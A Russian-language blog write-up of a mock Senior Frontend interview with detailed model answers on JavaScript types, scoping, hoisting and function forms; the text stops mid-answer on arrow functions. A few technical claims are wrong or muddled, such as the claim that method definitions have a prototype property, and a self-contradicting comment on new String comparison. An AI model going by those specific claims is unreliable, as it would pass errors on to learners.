Перейти к основному содержимому

Мок интервью Frontend | Тренировка перед реальным собесом

· 190 мин. чтения

Сегодня мы разберем полноценное техническое собеседование на позицию Senior Frontend-разработчика, прошедшее в формате живого диалога с разбором теории, практикой и кодом. Кандидат Миша демонстрирует глубокую экспертизу в JavaScript, TypeScript, React и браузерных API, оперируя не только определениями, но и продуктивными примерами из боевого опыта, что позволяет интервьюеру Дамиру подтвердить его уровень как сильного сеньора. В выпуске вас ждет подробный разбор ответов по промисам, Fiber'у, мемоизации, SOLID, уязвимостям безопасности и решению алгоритмической задачи с ретраями, а также честный фидбэк о сильных сторонах и зонах роста.

Вопрос 1. Перечислить все типы данных в JavaScript.

Таймкод: 00:02:02

Ответ собеседника: Правильный. Назвал: boolean, null, undefined, number, bigint, string, object, symbol. Упомянул, что symbol используется редко.

Правильный ответ:

В JavaScript существует 8 основных типов данных, которые делятся на две фундаментальные категории: примитивы (primitive values) и объекты (objects/structural types).

1. Примитивные типы (7 шт.) Примитивы — это неизменяемые значения, которые не имеют методов и свойств (хотя движки позволяют обращаться к методам через временные обертки-объекты).

  • string — строки. Неизменяемые последовательности UTF-16 кодовых единиц. В современном коде используются шаблонные строки (template literals) для интерполяции и многострочности.
  • number — числа двойной точности (IEEE 754). Включает Infinity, -Infinity, NaN. Для целых чисел безопасный диапазон: Number.MIN_SAFE_INTEGER .. Number.MAX_SAFE_INTEGER (±2⁵³−1).
  • bigint — целые числа произвольной точности (добавлен в ES2020). Создаются суффиксом n (например, 100n). Нельзя смешивать с number в арифметике без явного приведения.
  • boolean — логический тип: true / false.
  • undefined — значение переменной, которой не было присвоено значение. Также возвращается функциями без явного return и при обращении к несуществующим свойствам.
  • null — намеренное отсутствие объекта. Важно: typeof null === 'object' — это официально признанный баг языка с первых версий, сохраненный для совместимости.
  • symbol — уникальные и неизменяемые идентификаторы (ES2015). Используются для создания «скрытых» свойств объектов, метапрограммирования (Symbol.iterator, Symbol.toPrimitive и др.) и предотвращения коллизий имен.

2. Объектный тип (1 шт.)

  • object — изменяемые структуры данных ссылочного типа. Ключи — строки или Symbols. Включает в себя:
    • Обычные объекты ({}), массивы ([]), функции (function() {}).
    • Встроенные конструкторы: Date, RegExp, Map, Set, WeakMap, WeakSet, ArrayBuffer, TypedArray, Promise и др.
    • Функции — это вызываемые объекты (typeof fn === 'function'), но они всё равно относятся к типу object в терминах спецификации (ECMAScript Language Types).

Дополнительные нюансы, важные на уровне Senior/Tech Lead:

А. typeof vs Object.prototype.toString Оператор typeof имеет известные ограничения:

typeof null === 'object'; // true (баг)
typeof [] === 'object'; // true (массив — объект)
typeof /regex/ === 'object'; // true в некоторых движках, 'function' в других (нестандартно)

Надежный способ определения встроенного типа — Object.prototype.toString.call(value):

Object.prototype.toString.call(null); // "[object Null]"
Object.prototype.toString.call([]); // "[object Array]"
Object.prototype.toString.call(() => {}); // "[object Function]"
Object.prototype.toString.call(100n); // "[object BigInt]"

Б. nullish объединение и опциональная цепочка Современный код (ES2020+) активно использует ?? и ?. для работы с null/undefined, отличая их от других falsy-значений (0, '', false):

const value = config?.options?.limit ?? 10; // дефолт только для null/undefined

В. Object.is() для строгого сравнения === ведет себя неинтуитивно для NaN и нулей:

NaN === NaN; // false
Object.is(NaN, NaN); // true

0 === -0; // true
Object.is(0, -0); // false (важно для математических расчетов и сигналов)

Г. Примитивы-обертки (Primitive Wrapper Objects) При обращении к свойству/методу у примитива ('str'.toUpperCase()) JS неявно создает временный объект-обертку (new String('str')), вызывает метод и уничтожает обертку. Нельзя добавлять свои свойства к примитивам — они не сохранятся:

const s = 'hello';
s.customProp = 123;
console.log(s.customProp); // undefined (обертка была уничтожена)

Д. Symbol в продакшене Кандидат верно заметил, что Symbol встречается реже в бизнес-логике, но он критичен для инфраструктуры:

  • Реализация итераторов (Symbol.iterator) для for...of и спред-оператора.
  • Переопределение поведения примитивов (Symbol.toPrimitive, Symbol.toStringTag).
  • Создание приватно-подобных полей до появления #private полей классов.
  • Глобальный реестр через Symbol.for('key') и Symbol.keyFor(sym) для межмодульного взаимодействия.

Вопрос 2. На какие две группы делятся типы данных в JS.

Таймкод: 00:02:43

Ответ собеседника: Правильный. Разделил на примитивные и ссылочные (объекты). К ссылочным отнес object, остальные — примитивы.

Правильный ответ:

В спецификации ECMAScript типы данных делятся на две фундаментальные категории: Примитивные типы (Primitive Types) и Объектный тип (Object Type). Термин «ссылочные типы» (Reference Types) часто используется в сообществе и литературе как синоним для объектов, но строго говоря, в спецификации существует только один структурный тип — Object.


1. Примитивные типы (Primitive Values) Список: Undefined, Null, Boolean, String, Symbol, Number, BigInt.

Ключевые характеристики:

  • Неизменяемость (Immutability): Значение примитива нельзя изменить. Операции над примитивом (конкатенация строк, инкремент числа) всегда создают новое значение.
  • Хранение по значению (Value Semantics): При присваивании (const b = a) или передаче в функцию создается полная копия значения.
  • Сравнение по значению: === возвращает true, только если значения идентичны (битовое равенство для чисел/бигинтов, побайтовое для строк).
  • Отсутствие методов/свойств: У примитивов нет собственных свойств. Доступ к .length, .toFixed() и т.д. работает за счет автоупаковки (boxing) — неявного создания временного объекта-обертки (new String(), new Number()), который тут же уничтожается.
  • Невозможность добавить свойство:
    const str = 'hello';
    str.custom = 123; // Свойство запишется в временную обертку и тут же потеряется
    console.log(str.custom); // undefined

2. Объектный тип (Object Type / Structural Types) Список: Обычные объекты ({}), Массивы ([]), Функции, Date, RegExp, Map, Set, Promise, ArrayBuffer, TypedArray и пользовательские классы.

Ключевые характеристики:

  • Изменяемость (Mutability): Содержимое объекта можно менять после создания (добавлять/удалять свойства, менять элементы массива).
  • Хранение по ссылке (Reference Semantics): Переменная хранит не сам объект, а ссылку (указатель) на область в памяти (Heap), где лежит объект.
  • Присваивание копирует ссылку, не объект:
    const a = { x: 1 };
    const b = a; // b ссылается на ТОТ ЖЕ объект
    b.x = 2;
    console.log(a.x); // 2 (изменился и у a)
  • Сравнение по ссылке (Identity): === возвращает true только если операнды указывают на один и тот же экземпляр в памяти.
    [] === []; // false (два разных массива в памяти)
    const arr = [];
    arr === arr; // true
  • Передача в функции (Call by Sharing): В функцию передается копия ссылки.
    • Можно мутировать переданный объект: fn(obj) { obj.prop = 2 } — изменит внешний объект.
    • Нельзя заменить сам объект снаружи: fn(obj) { obj = {} } — внешняя переменная не изменится (ссылка передана по значению).

Важные нюансы для Senior-уровня:

А. const для объектов vs примитивов const гарантирует неизменяемость связи переменной со значением, а не неизменяемость самого значения.

const obj = { a: 1 };
obj.a = 2; // OK: мутируем содержимое
obj = { a: 3 }; // TypeError: Assignment to constant variable (меняем ссылку)

const num = 1;
num = 2; // TypeError: примитивы неизменяемы, можно только переприсвоить

Б. «Call by Sharing» (Вызов по совместному доступу) Это официальная терминология (Barbara Liskov) для стратегии передачи аргументов в JS, Java, Python, Ruby. Это не «call by reference» (как в C++ void f(int& x)), где можно сменить адрес переменной вызывающего кода. В JS мы получаем копию указателя.

В. Производительность и память (V8 / движки)

  • Примитивы (кроме больших строк/BigInt) часто размещаются прямо в стеке фрейма функции или в полях объекта (inline), что дает высокую локальность кэша.
  • Объекты всегда размещаются в куче (Heap). Доступ требует разыменования указателя (pointer chasing).
  • Скрытые классы (Hidden Classes / Shapes): Движки оптимизируют доступ к свойствам объектов, если форма (shape) объекта стабильна. Частое добавление/удаление свойств ломает оптимизацию (деоптимизация).

Г. Object.freeze() / seal() / preventExtensions() Позволяют приблизить объекты к поведению примитивов (иммутабельность):

  • preventExtensions — нельзя добавлять новые свойства.
  • seal + нельзя удалять/настраивать существующие (configurable: false).
  • freeze + нельзя менять значения свойств (writable: false). Поверхностная заморозка (shallow) — вложенные объекты остаются изменяемыми.

Д. Сравнение Object.is() vs === Для примитивов Object.is отличается только обработкой NaN и ±0 (см. предыдущий ответ). Для объектов поведение идентично === (сравнение ссылок).

Е. Примитивные обертки (Wrapper Objects) — new String(), new Boolean() Антипаттерн. Создают объекты типа Object, ломают логику:

typeof new String('a'); // 'object'
new String('a') === 'a'; // false (сравнение объекта со строкой -> приведение объекта к примитиву -> true? Нет, === не приводит типы! Результат false)
Boolean(new Boolean(false)); // true (объект всегда truthy!)

Всегда используйте литералы и фабричные функции (String(), Number() без new).

Вопрос 3. Являются ли массивы и функции отдельными типами данных.

Таймкод: 00:03:16

Ответ собеседника: Правильный. Массивы — не отдельный тип. Функции — это объекты, им можно добавлять свойства.

Правильный ответ:

С точки зрения спецификации ECMAScript (Language Types)нет, это не отдельные типы. И массивы, и функции относятся к единому структурному типу Object.

Однако у обоих есть уникальные внутренние слоты (internal slots) и поведение, которые выделяют их в отдельные виды объектов (object kinds) с особыми возможностями.


1. Массивы (Arrays) — экзотические объекты (Exotic Objects)

Массивы — это объекты с специальным внутренним слотом [[DefineOwnProperty]] и поведением свойства length.

  • Автоматическое управление length: При добавлении числового индекса length обновляется автоматически. При уменьшении length — удаляются лишние элементы.
  • Дырявость (Sparse arrays): Допускают «дыры» (несуществующие индексы), в отличие от плотных массивов в C/C++.
  • Наследник Array.prototype: Имеют доступ к методам map, filter, reduce, push и др.
  • Проверка типа: typeof [] === 'object'true. Надежная проверка: Array.isArray(arr) (проверяет внутренний слот [[IsArray]], работает кросс-фреймово, в отличие от instanceof Array).

Внутреннее устройство (V8 / движки): Движки сильно оптимизируют массивы под конкретные кinds (виды):

  • PACKED_SMI_ELEMENTS — плотный массив маленьких целых (Small Integers, 31/32 бит).
  • PACKED_DOUBLE_ELEMENTS — плотный массив чисел с плавающей точкой.
  • PACKED_ELEMENTS — плотный массив любых значений (указатели на объекты).
  • HOLEY_*_ELEMENTS — аналогичные виды для дырявых массивов. Переход от «быстрого» вида к «медленному» (например, добавление строки в массив чисел) вызывает деоптимизацию и перевыделение памяти. Array.isArray проверяет флаг в заголовке объекта (Map/HiddenClass), что делает её O(1).

2. Функции (Functions) — вызываемые объекты (Callable Objects)

Функции — это объекты, обладающие внутренним методом [[Call]] (и опционально [[Construct]] для конструкторов).

  • typeof fn === 'function'true. Это единственный случай, когда typeof для объекта возвращает не 'object'. Спецификация явно требует этого для объектов, имеющих слот [[Call]].
  • Свойства функции (как у объекта):
    • name — имя функции (выводится в стеке вызовов).
    • length — количество формальных параметров до первого с дефолтом / rest / деструктуризации.
    • prototype — объект-прототип для экземпляров при вызове через new (нет у стрелочных функций и методов классов с constructor).
    • Можно вешать любые кастомные свойства: fn.config = { retries: 3 }.
  • Вызов: fn() вызывает внутренний метод [[Call]].
  • Конструирование: new fn() вызывает [[Construct]] (создает this, наследуемый от fn.prototype, вызывает [[Call]] с этим this).
  • Стрелочные функции (Arrow Functions):
    • Не имеют [[Construct]]new arrow() // TypeError.
    • Не имеют prototype.
    • Не имеют своего this, arguments, super, new.target (лексическое замыкание).

Function.prototype — тоже функция:

typeof Function.prototype; // 'function'
Function.prototype(); // undefined (пустая функция)

Это уникальный объект, который является и прототипом всех функций, и функцией.


3. Сравнение: «Объект» vs «Функция» vs «Массив»

ХарактеристикаОбычный объект {}Массив []Функция function(){}
typeof'object''object''function'
Array.isArray()falsetruefalse
instanceof Objecttruetruetrue
instanceof Arrayfalsetruefalse
instanceof Functionfalsefalsetrue
Ключевой внутренний слот[[DefineOwnProperty]] (length magic)[[Call]], [[Construct]] (optional)
prototypeНет (есть __proto__)Нет (есть __proto__)Есть (кроме arrows)

4. Практическое значение для разработчика

  1. Полиморфизм: Функцию можно передать туда, где ждут объект с методами (например, fetch(url, { method: 'GET', headers: fn }) — если fn имеет метод toString или вызывается как колбэк).
  2. Мемоизация / Состояние: Хранение кэша прямо на функции:
    function heavyCalc(x) {
    if (heavyCalc.cache[x]) return heavyCalc.cache[x];
    // ... calc
    return heavyCalc.cache[x] = result;
    }
    heavyCalc.cache = {}; // Свойство у функции-объекта
  3. Массивы не «магические»: delete arr[0] создает дыру, length не меняется. arr.length = 0 — самый быстрый способ очистить (в V8).
  4. Кросс-реальм (iframe/worker): [] instanceof Arrayfalse (разные глобальные объекты, разные конструкторы). Array.isArray([])true (проверяет внутреннюю природу объекта).

Резюме: Тип данных один — Object. Но спецификация вводит понятие Exotic Objects (экзотические объекты) для массивов и Callable Objects для функций, что наделяет их уникальным поведением, недоступным обычным объектам.

Вопрос 4. В чём отличие областей видимости var, let и const.

Таймкод: 00:03:57

Ответ собеседника: Неполный. Сказал, что var — глобальная область видимости (исправил: функциональная), let/const — блочная (фигурные скобки).

Правильный ответ:

Отличия затрагивают не только границы видимости, но и механизм хостинга (hoisting), временную мёртвую зону (TDZ), поведение в глобальном контексте и работу в циклах.


1. Границы области видимости (Scope)

Ключевое словоОбласть видимостиГде видна переменная
varФункциональная (Function-scoped)Во всей функции, где объявлена (или глобально, если вне функций). Блоки if, for, {}не создают область для var.
let / constБлочная (Block-scoped)Внутри ближайших фигурных скобок {} (блока), за исключением корневого уровня модуля (ESM).
function varExample() {
if (true) {
var x = 10;
}
console.log(x); // 10 — var «просочился» из блока if
}

function letExample() {
if (true) {
let y = 20;
}
console.log(y); // ReferenceError: y is not defined
}

2. Хостинг (Hoisting) и TDZ (Temporal Dead Zone)

var:

  • Объявление поднимается в начало функции/глобального контекста.
  • Инициализация значением undefined происходит сразу при входе в контекст.
  • Доступ до строки объявления вернет undefined (не ошибку).

let / const:

  • Объявление также поднимается (формально), но инициализация не происходит.
  • Входит в TDZ (Temporal Dead Zone) — зону от начала области видимости до строки фактического объявления.
  • Любой доступ (чтение/запись) в TDZ выбрасывает ReferenceError.
console.log(a); // undefined (не ReferenceError!)
var a = 1;

console.log(b); // ReferenceError: Cannot access 'b' before initialization
let b = 2;

// typeof в TDZ для let/const — тоже ошибка (вне строгого режима для var безопасно)
typeof undeclaredVar; // "undefined" — ок
typeof undeclaredLet; // ReferenceError — в TDZ глобального контекста (если был бы let выше)

Важно для const: Объявление обязательно требует инициализации в той же строке (const x = 1;). const x; // SyntaxError. Переприсваивание запрещено, но мутация объекта/массива разрешена.


3. Глобальный объект (window / globalThis)

  • var в глобальном контексте создаёт свойство глобального объекта (window.x = 1 в браузере). Его нельзя удалить через delete (атрибут [[Configurable]]: false), но можно перезаписать.
  • let / const в глобальном контексте создают связь в глобальном лексическом окружении (Global Lexical Environment), но НЕ создают свойство на window/globalThis.
var a = 1;
let b = 2;
const c = 3;

console.log(window.a); // 1
console.log(window.b); // undefined
console.log(window.c); // undefined
console.log('a' in window); // true
console.log('b' in window); // false

Это критично для изоляции модулей и предотвращения загрязнения глобального неймспейса.


4. Повторное объявление (Re-declaration)

  • var — можно объявлять многократно в одной области видимости (второе объявление игнорируется, но если есть инициализация — работает как присваивание).
  • let / constSyntaxError при повторном объявлении в той же области видимости.
var x = 1;
var x = 2; // OK

let y = 1;
let y = 2; // SyntaxError: Identifier 'y' has already been declared

// В разных блоках — ок
let z = 1;
{ let z = 2; } // OK, другая область

5. Поведение в циклах (Классическая ловушка замыканий)

var в for: Одна переменная i на весь цикл. К моменту выполнения асинхронных колбэков цикл завершен, i === 3.

for (var i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 0); // 3, 3, 3
}

let в for: Спецификация создаёт новую привязку (binding) для каждой итерации. Замыкание захватывает значение текущей итерации.

for (let i = 0; i < 3; i++) {
setTimeout(() => console.log(i), 0); // 0, 1, 2
}
// Эквивалентно:
for (let i = 0; i < 3; i++) {
let i_copy = i; // неявно на каждой итерации
setTimeout(() => console.log(i_copy), 0);
}

const в for: Можно использовать только если не меняете счетчик (например, for (const item of items)). В классическом for (const i=0; ...)TypeError при инкременте.


6. Резюме: Best Practices (Modern JS)

  1. По умолчанию — const. Сигнализирует намерению не переприсваивать. Защищает от случайных багов. Упрощает рефакторинг и анализ кода (статические анализаторы, компиляторы).
  2. let — только если нужна переприсваивание (счетчики, накопление значений, переключение флагов).
  3. var — не использовать в современном коде (ES2015+). Единственные исключения — легаси-код без транспиляции или специфические хаки с function-scope (редко).
  4. Блочная область видимости позволяет безопасно объявлять переменные внутри if/for/try/catch без утечки во внешнюю функцию.
  5. TDZ — это защита от логических ошибок «использование до объявления», которые при var молча давали undefined.

Дополнительный нюанс (Advanced): var и FunctionDeclaration в блоках (Sloppy Mode vs Strict Mode)

В нестрогом режиме (sloppy mode) поведение function внутри блоков и var внутри блоков было нестандартизированным и зависело от движка (Annex B.3.3). В строгом режиме ('use strict') и в модулях (ESM):

  • function внутри блока — блочная область видимости (как let), но с хостингом в начало блока.
  • var внутри блока — игнорирует блок, поднимается в функцию.
'use strict';
if (true) {
function f() { return 1; }
var v = 2;
}
console.log(typeof f); // "undefined" (блочная функция)
console.log(v); // 2 (var ушел в функцию/глобал)

Это подчеркивает: всегда используйте 'use strict' (или модули ESM) и let/const.

Вопрос 5. Что такое всплытие и какие сущности к нему подвержены.

Таймкод: 00:05:54

Ответ собеседника: Правильный. Всплытие — объявления переменных и function declaration поднимаются вверху области видимости. Переменные var существуют, но не инициализированы (undefined). Функции доступны полностью.

Правильный ответ:

Всплытие (Hoisting) — это небуквальный термин, описывающий поведение JavaScript-движка на фазе создания лексического окружения (Lexical Environment Creation Phase) перед выполнением кода (Runtime). На этой фазе движок сканирует код, находит объявления (declarations) и регистрирует их в окружении (VariableEnvironment / LexicalEnvironment), делая доступными до строки их появления в исходном коде.

Важно: физически код не перемещается. Это механизм инициализации связок (bindings) в области видимости.


1. Кто подвержен всплытию и как именно

СущностьФаза создания (Hoisting)Начальное значениеДоступно до объявления?Примечание
varДа (в Function / Global Environment)undefinedДа (значение undefined)Свойство VariableEnvironment.
function (Declaration)Да (в VariableEnvironment)Ссылка на функцию (полностью инициализирована)Да (можно вызвать)И имя, и тело доступны.
let / constДа (в LexicalEnvironment)Нет (Uninitialized)НетReferenceError (TDZ)Находятся в TDZ до строки инициализации.
class (Declaration)Да (в LexicalEnvironment)Нет (Uninitialized)НетReferenceError (TDZ)Поведение как let/const.
importДа (Module Environment)Модульная запись (Module Record)Да (но выполнение модуля раньше)Хосятся на самом верху модуля.
function (Expression / Arrow)Зависит от ключевого слова (var/let/const)Зависит от ключевого словаЗависит от ключевого словаconst fn = () => {} — подчиняется правилам const.

2. Две фазы выполнения контекста (Execution Context)

  1. Creation Phase (Фаза создания):

    • Создается LexicalEnvironment / VariableEnvironment.
    • var: Создается запись (Binding) → Инициализируется undefined.
    • function declaration: Создается запись → Инициализируется функцией (создается Function Object).
    • let / const / class: Создается запись → НЕ инициализируется (флаг [[Initialized]]: false). Входит в TDZ (Temporal Dead Zone).
    • import: Создаются импортные записи, связываются с экспортами других модулей.
  2. Execution Phase (Фаза выполнения):

    • Код выполняется построчно.
    • При встрече let x = 10 / const x = 10 / class X {} происходит инициализация существующей связки (флаг [[Initialized]]: true).
    • При встрече var x = 10 происходит присваивание (так как связка уже есть и равна undefined).

3. Function Declaration vs Function Expression — главная ловушка

// Function Declaration — всплывает ВЦЕЛОМ
foo(); // OK: "Hello"
function foo() { console.log('Hello'); }

// Function Expression (var) — всплывает ТОЛЬКО var (как undefined)
bar(); // TypeError: bar is not a function (bar === undefined)
var bar = function() { console.log('World'); };

// Function Expression (let/const) — в TDZ
baz(); // ReferenceError: Cannot access 'baz' before initialization
const baz = () => { console.log('!'); };

Class Declaration ведет себя как let/const:

new MyClass(); // ReferenceError
class MyClass {}

4. Тонкости var в глобальной области (Global Object)

var в глобальной области создает свойство глобального объекта (window / globalThis) с атрибутом [[Configurable]]: false.

var x = 1;
delete window.x; // false (не удаляется в строгом/нестрогом)

let/const/class/function (в строгом режиме/модулях) — не создают свойств глобального объекта.


5. import — хостинг на уровне модулей

Все import поднимаются в самый верх модуля до выполнения любого кода модуля. Это позволяет циклическим зависимостям работать (live bindings).

// module.js
console.log('Module start');
import { a } from './other'; // Выполнится ПЕРВЫМ, до console.log

6. Практический паттерн: IIFE и модули для изоляции

До ES6 модулей var не имел блочной видимости, поэтому использовали IIFE (Immediately Invoked Function Expression) для создания приватной области видимости, где var не утекали наружу:

(function() {
var privateVar = 123;
// ...
})();
console.log(privateVar); // ReferenceError

Сейчас это заменяется на ES Modules (<script type="module">) или просто блоки {} с let/const.


7. Резюме для собеседования (Senior уровень)

  1. Хостинг — это работа компилятора/парсера на фазе Creation, а не перемещение строк кода.
  2. var + function declaration — «старый» хостинг: доступны сразу, var = undefined, function = callable.
  3. let / const / class — «современный» хостинг: связка создается, но недоступна (TDZ) до строки инициализации. Это защита от багов.
  4. import — хосятся выше всего, обеспечивая граф зависимостей до рантайма.
  5. Best Practice: Использовать const/let, избегать var, объявлять функции/переменные перед использованием (даже если хостинг позволяет иначе) — для читаемости и предсказуемости. Линтеры (eslint: no-use-before-define) помогают следить за этим.

Вопрос 6. Какие способы объявления функций существуют в JavaScript.

Таймкод: 00:07:04

Ответ собеседника: Правильный. Function declaration, function expression, стрелочные функции, new Function(), IIFE (вспомнил после наводки).

Правильный ответ:

В JavaScript существует 4 базовых синтаксических способа создать функцию (Function Object) и несколько специализированных вариаций. Все они создают объекты с внутренним методом [[Call]], но отличаются поведением this, хостингом, наличием prototype, arguments, super и возможностью конструирования ([[Construct]]).


1. Function Declaration (Объявление функции / Function Statement)

function foo(a, b) { return a + b; }
  • Хостинг: Полное (имя + тело). Доступно везде в области видимости (функции/модуля) до объявления.
  • name: Явное имя (foo). Используется в стеке вызовов, дебаггере, Function.prototype.name.
  • this: Динамический (зависит от способа вызова: obj.foo(), foo(), call/apply, new foo()).
  • arguments: Доступен (array-like объект).
  • prototype: Есть (foo.prototype). Может быть конструктором (new foo()).
  • super: Нет (не может использовать super.x()).
  • В строгом режиме / модулях: Область видимости — блочная (как let), но с хостингом в начало блока. Во внешнем скрипте (sloppy) — функциональная/глобальная.

2. Function Expression (Функциональное выражение)

const bar = function(a, b) { return a + b; }; // Анонимное
const baz = function namedBaz() { return 1; }; // Именованное (Named FE)
  • Хостинг: Только переменной (var/let/const). Сама функция создается в момент выполнения строки присваивания.
  • name: У анонимных — имя переменной (bar, inferred name). У именованных — явное имя (namedBaz). Имя namedBaz видно только внутри самой функции (для рекурсии/дебага), во внешней области — ReferenceError.
  • this / arguments / prototype / new: Идентичны Function Declaration.
  • super: Нет.

3. Arrow Functions (Стрелочные функции, ES2015)

const add = (a, b) => a + b; // Неявный возврат (concise body)
const mul = (a, b) => { return a * b; }; // Блочное тело
const id = x => x; // Один аргумент — скобки не нужны
const noArgs = () => 42; // Нет аргументов — пустые скобки
  • Хостинг: Только переменной (как let/const → TDZ).
  • this: Лексическое (статическое). Захватывает this из внешнего лексического окружения на момент создания. Нельзя изменить через call, apply, bind, new.
  • arguments: Нет. Используйте rest-параметры: (...args) => ....
  • prototype: Нет. ArrowFunction.prototypeundefined.
  • new: Нельзя. new arrowFn()TypeError: arrowFn is not a constructor (нет слота [[Construct]]).
  • super: Лексическое (как this). Позволяет использовать super.method() в методах классов/объектов.
  • yield: Нельзя (не генераторы). Нет arguments, нет this — не могут быть генераторами.

4. new Function(...args, bodyString) (Конструктор Function)

const sum = new Function('a', 'b', 'return a + b');
  • Создание: В runtime (парсинг строки кода). Медленно, небезопасно (XSS при пользовательском вводе), ломает оптимизации JIT (нет кэширования Inline Caches).
  • Область видимости: Только глобальная (globalThis / window). Не захватывает замыкание (lexical scope) — не видит локальные переменные внешней функции.
  • this / arguments / prototype / new: Как обычная функция (динамический this, есть arguments, есть prototype, можно new).
  • Применение: Редко. Динамическая генерация кода (шаблонизаторы, REPL, песочницы).

5. IIFE (Immediately Invoked Function Expression) — Паттерн, а не синтаксис

(function() { /* ... */ })(); // Классический
(() => { /* ... */ })(); // Стрелочный (современный)
void function() { /* ... */ }(); // Унарный оператор для предотвращения ASI проблем
  • Суть: Function Expression, обернутый в группирующие скобки () (чтобы парсер не воспринял как Declaration) и немедленно вызванный.
  • Цель: Создание изолированной области видимости (scope isolation) для переменных (var не утекают наружу), избегание загрязнения глобального объекта.
  • В современном коде (ESM): Не нужен — модули имеют свою область видимости. Блок {} с let/const решает задачу локальной изоляции.

6. Методы объектов и классов (Сокращенный синтаксис, ES2015)

const obj = {
method() { return this.x; }, // Method Definition
*generator() { yield 1; }, // Generator Method
async fetch() { return await ... }, // Async Method
};

class C {
method() {}
static staticMethod() {}
get prop() {} // Геттер (не функция, но вызывается как свойство)
}
  • Method Definition (method() {}):
    • Имеет [[HomeObject]] — ссылку на родительский объект. Необходим для super.
    • Имеет prototype (кроме геттеров/сеттеров).
    • this — динамический.
  • Arrow Function как свойство класса (prop = () => {}):
    • Создается в конструкторе на каждом экземпляре (поле класса / Class Field).
    • this зафиксирован на экземпляр (автобиндинг). Удобно для колбэков, но потребляет память на экземпляр.

7. Специализированные виды (Ключевые слова)

ВидКлючевое словоОсобенности
Generatorfunction* gen() { yield 1; }Возвращает Iterator. Имеет next(), throw(), return(). this динамический.
Async Functionasync function() { await ... }Всегда возвращает Promise. this динамический.
Async Generatorasync function* gen() { yield await ... }Возвращает AsyncIterator (for await...of).
Async Arrowasync () => { await ... }Лексический this, возвращает Promise.

Сводная таблица отличий (Cheat Sheet)

ХарактеристикаDeclaration / ExpressionArrow Functionnew FunctionMethod (obj.m() {})
ХостингПолный (Decl) / Переменной (Expr)Переменной (TDZ)Runtime (строка)Переменной (Expr) / Полный (Decl в классе? Нет, класс в TDZ)
thisДинамическийЛексический (родительский)ДинамическийДинамический
argumentsДаНет (rest params)ДаДа
prototypeДаНетДаДа (кроме геттеров/сеттеров)
newДаНетДаДа
superНетЛексическийНетДа (через [[HomeObject]])
Замыкание (Scope)ЛексическоеЛексическоеТолько ГлобальноеЛексическое
yieldТолько function*НетНетТолько *method()

Best Practices (Senior/Tech Lead View):

  1. По умолчанию — const + Arrow Function для колбэков, утилит, чистых функций. Дает лексический this, компактный синтаксис, защиту от случайного new.
  2. function (Declaration/Expression) / Method Syntax — когда нужен:
    • Динамический this (методы объектов, event listeners el.addEventListener('click', function() { this })).
    • arguments (редко, лучше ...args).
    • Конструкторы (new), прототипы.
    • super (в классах/объектах).
    • Генераторы (function*).
  3. Именованные Function Expressions (const fn = function name() {}) — лучшие для профилирования/дебаггинга (читаемые стеки вызовов) и рекурсии внутри себя.
  4. Избегайте new Function — производительность, безопасность (CSP script-src), отсутствие замыканий.
  5. IIFE — только в легаси/бандлерах без модулей. В ESM используйте топ-левел await или просто блоки {}.
  6. Class Fields с стрелками (onClick = () => {}) — удобны для авто-биндинга в React/классах, но создают копию функции на каждый экземпляр. Для высоконагруженных систем — лучше method() {} + bind в конструкторе или декораторы.

Вопрос 7. В чём отличия стрелочных функций от function declaration.

Таймкод: 00:08:20

Ответ собеседника: Правильный. Нет своего this (лексическое), нет arguments, нельзя использовать как конструктор (new).

Правильный ответ:

Кандидат назвал три ключевых отличия. На уровне Senior/Tech Lead важно понимать причину этих отличий (внутренние слоты спецификации) и побочные эффекты, которые ломают код в продакшене.

Стрелочные функции (ArrowFunction) — это не «синтаксический сахар» над function. Это фундаментально иная конструкция с другими внутренними слотами (Internal Slots).


1. this: Динамический vs Лексический (Самое важное)

Function DeclarationArrow Function
Имеет свой this (слот [[ThisMode]]: 'global' или 'strict').Нет своего this ([[ThisMode]]: 'lexical').
this определяется в момент вызова (Call-site): obj.fn(), fn(), call/apply, new Fn().this захватывается в момент создания (Definition-site) из внешнего лексического окружения.
Можно изменить: fn.call(newThis), bind.Невозможно изменить: call, apply, bind игнорируются (аргументы передаются, this — нет).

Под капотом (Spec):

  • Обычная функция: при входе в [[Call]] вычисляется thisArgument и биндится к окружению функции.
  • Стрелочная: при создании (Evaluation of ArrowFunction) сохраняется ссылка на this внешнего LexicalEnvironment во внутренний слот [[ThisValue]] (или через замыкание). При вызове [[Call]] просто берется это сохраненное значение.

Практическая ловушка — Event Listeners / DOM:

// Function Declaration — this = element (полезно)
button.addEventListener('click', function() {
this.classList.add('active'); // OK
});

// Arrow — this = window / module scope (баг)
button.addEventListener('click', () => {
this.classList.add('active'); // TypeError: Cannot read property 'classList' of undefined (в strict модуле)
// или window.classList... в старом коде
});

Решение: Использовать function для методов, где важен контекст вызова, или явно биндить handler.bind(this) (но тогда теряется возможность removeEventListener без сохранения ссылки).


2. arguments: Есть vs Нет (и зачем это нужно)

  • Function Declaration: Имеет локальную переменную arguments (Array-like, length, callee в non-strict). Создается при каждом вызове → накладные расходы.
  • Arrow Function: Нет arguments. Обращение к arguments внутри стрелочной функции разрешается во внешней области видимости (замыкание).

Современная замена — Rest Parameters (...args):

// Arrow — идиоматично, это настоящий массив
const sum = (...args) => args.reduce((a, b) => a + b, 0);

// Function Declaration — тоже лучше использовать rest, а не arguments
function sum(...args) { return args.reduce((a, b) => a + b, 0); }

arguments нужен только в легаси-коде или для Function.prototype.apply/call переадресации (где fn.apply(null, arguments)), но сейчас есть fn(...args).


3. Конструктор (new): Можно vs Нельзя

  • Function Declaration: Имеет слот [[Construct]] и свойство prototype. new Fn() → создает объект, прототипом которого является Fn.prototype.
  • Arrow Function: Нет слота [[Construct]], нет свойства prototype (ArrowFn.prototype === undefined).
    const Arrow = () => {};
    new Arrow(); // TypeError: Arrow is not a constructor
    Arrow.prototype; // undefined

Последствие: Стрелочные функции не могут быть классами (ES6 classes — это синтаксис над constructor functions). Нельзя написать class A extends (() => {}) — родитель должен быть конструктором.


4. prototype: Есть vs Нет

  • Function Declaration: Fn.prototype существует по умолчанию ({ constructor: Fn }). Используется для наследования методов экземпляров.
  • Arrow Function: Arrow.prototypeundefined.
    • Нельзя добавить методы на прототип для экономии памяти (паттерн Fn.prototype.method = ...).
    • Если стрелочная функция используется как поле класса (method = () => {}), она создается на каждом экземпляре (потребление памяти O(N) вместо O(1) на прототипе).

5. super: Нет vs Лексический

  • Function Declaration: Не имеет доступа к super (SyntaxError при попытке использования).
  • Arrow Function: Имеет доступ к super лексически (как this). Родительский super берется из [[HomeObject]] внешнего метода/конструктора.
